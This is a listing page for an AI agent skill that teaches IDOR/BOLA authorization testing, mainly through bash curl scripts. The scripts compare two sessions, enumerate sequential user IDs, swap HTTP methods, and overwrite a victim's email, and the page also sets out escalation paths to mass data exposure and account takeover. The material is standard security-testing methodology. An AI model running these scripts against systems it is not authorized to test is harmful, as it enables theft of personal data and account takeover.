dragonked2/alphacode/hunt-idor

Claude Code and agent skill by dragonked2/alphacode

Trust tier 3
  • community
Source check pending

Checking that the SKILL.md file is still in the repository.

IDOR/BOLA — differential testing, two-session comparison, privilege escalation. Every candidate must pass 7 gates.

Install

npx vskill@latest install dragonked2/alphacode/hunt-idor

SKILL.md

IDOR HUNTING — 3 BULLETS MAX

Core: User A accessing User B's resource = vulnerability.

DIFFERENTIAL

bash
TOKEN_A="attacker"; TOKEN_B="victim"; ID="victim-resource-id"
# Baseline: A reads own data
curl -s -H "Authorization: Bearer $TOKEN_A" "https://target.com/api/users/me"
# Test: A reads B's data → should FAIL
curl -s -H "Authorization: Bearer $TOKEN_A" "https://target.com/api/users/$ID"

ENUMERATION

bash
# Sequential
for id in $(seq 1 100); do
  code=$(curl -s -o /dev/null -w "%{http_code}" -H "Authorization: Bearer $TOKEN_A" "https://target.com/api/users/$id")
  [ "$code" == "200" ] && echo "[+] ID $id accessible"
done
# Method swap
for m in GET PUT PATCH DELETE; do
  curl -s -o /dev/null -w "$m: %{http_code}\n" -X $m -H "Authorization: Bearer $TOKEN_A" "https://target.com/api/users/$ID"
done
# Old version
curl -s -H "Authorization: Bearer $TOKEN_A" "https://target.com/api/v1/users/$ID"

STATE CHANGE

bash
# Before → Attack → After
BEFORE=$(curl -s -H "Authorization: Bearer $TOKEN_A" "https://target.com/api/users/$ID")
curl -s -X PUT -H "Authorization: Bearer $TOKEN_A" -d '{"email":"evil@test.com"}' "https://target.com/api/users/$ID"
AFTER=$(curl -s -H "Authorization: Bearer $TOKEN_B" "https://target.com/api/users/$ID")
# If email changed → WRITE IDOR

ESCALATION

IDOR read → enumerate all users → mass PII → Critical
IDOR write → change email → password reset → ATO → Critical
IDOR read → find admin → admin endpoint → Critical

FALSE POSITIVES

  • Same data for all IDs → not IDOR
  • /me returns data → session reference, not resource ID
  • 200 but empty/null → not sensitive data

Security

  • Security scanPassed, 90 of 100Pattern checks on the skill's files.
  • Model reviewPassed

See the full security report

Quality evaluation

  • Task evaluationNot runNo evaluation yet. Run one in Skill Studio.

See evaluation results

Source

Popularity

7-day trend score
0

Not refreshed yet.

Works with

Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.

  • Claude Code
  • Cursor
  • GitHub Copilot
  • Windsurf
  • Codex
  • Gemini CLI
  • Cline
  • Amp
  • Roo Code
  • Goose
  • Continue
  • Kilo Code
  • Junie
  • Trae
  • OpenHands
  • Qwen Code
  • AI Agent
  • Tabnine Chat
  • Sourcegraph Cody
  • Amazon Q
  • Firebase Genkit
  • Sweep
  • Devin
  • Phind
  • Mentat
  • Claude Desktop
  • Aider
  • GPT Pilot
  • Plandex
  • bolt.new
  • v0
  • Replit Agent
  • Anse
  • TypingMind
  • BetterChatGPT
  • LibreChat
  • Warp AI
  • Pieces
  • Fig AI
Embed badge
vskill VERIFIED badge
[![vskill VERIFIED](https://verified-skill.com/api/v1/skills/dragonked2/alphacode/hunt-idor/badge)](https://verified-skill.com/skills/dragonked2/alphacode/hunt-idor)

Something wrong with this skill or its page? Tell us.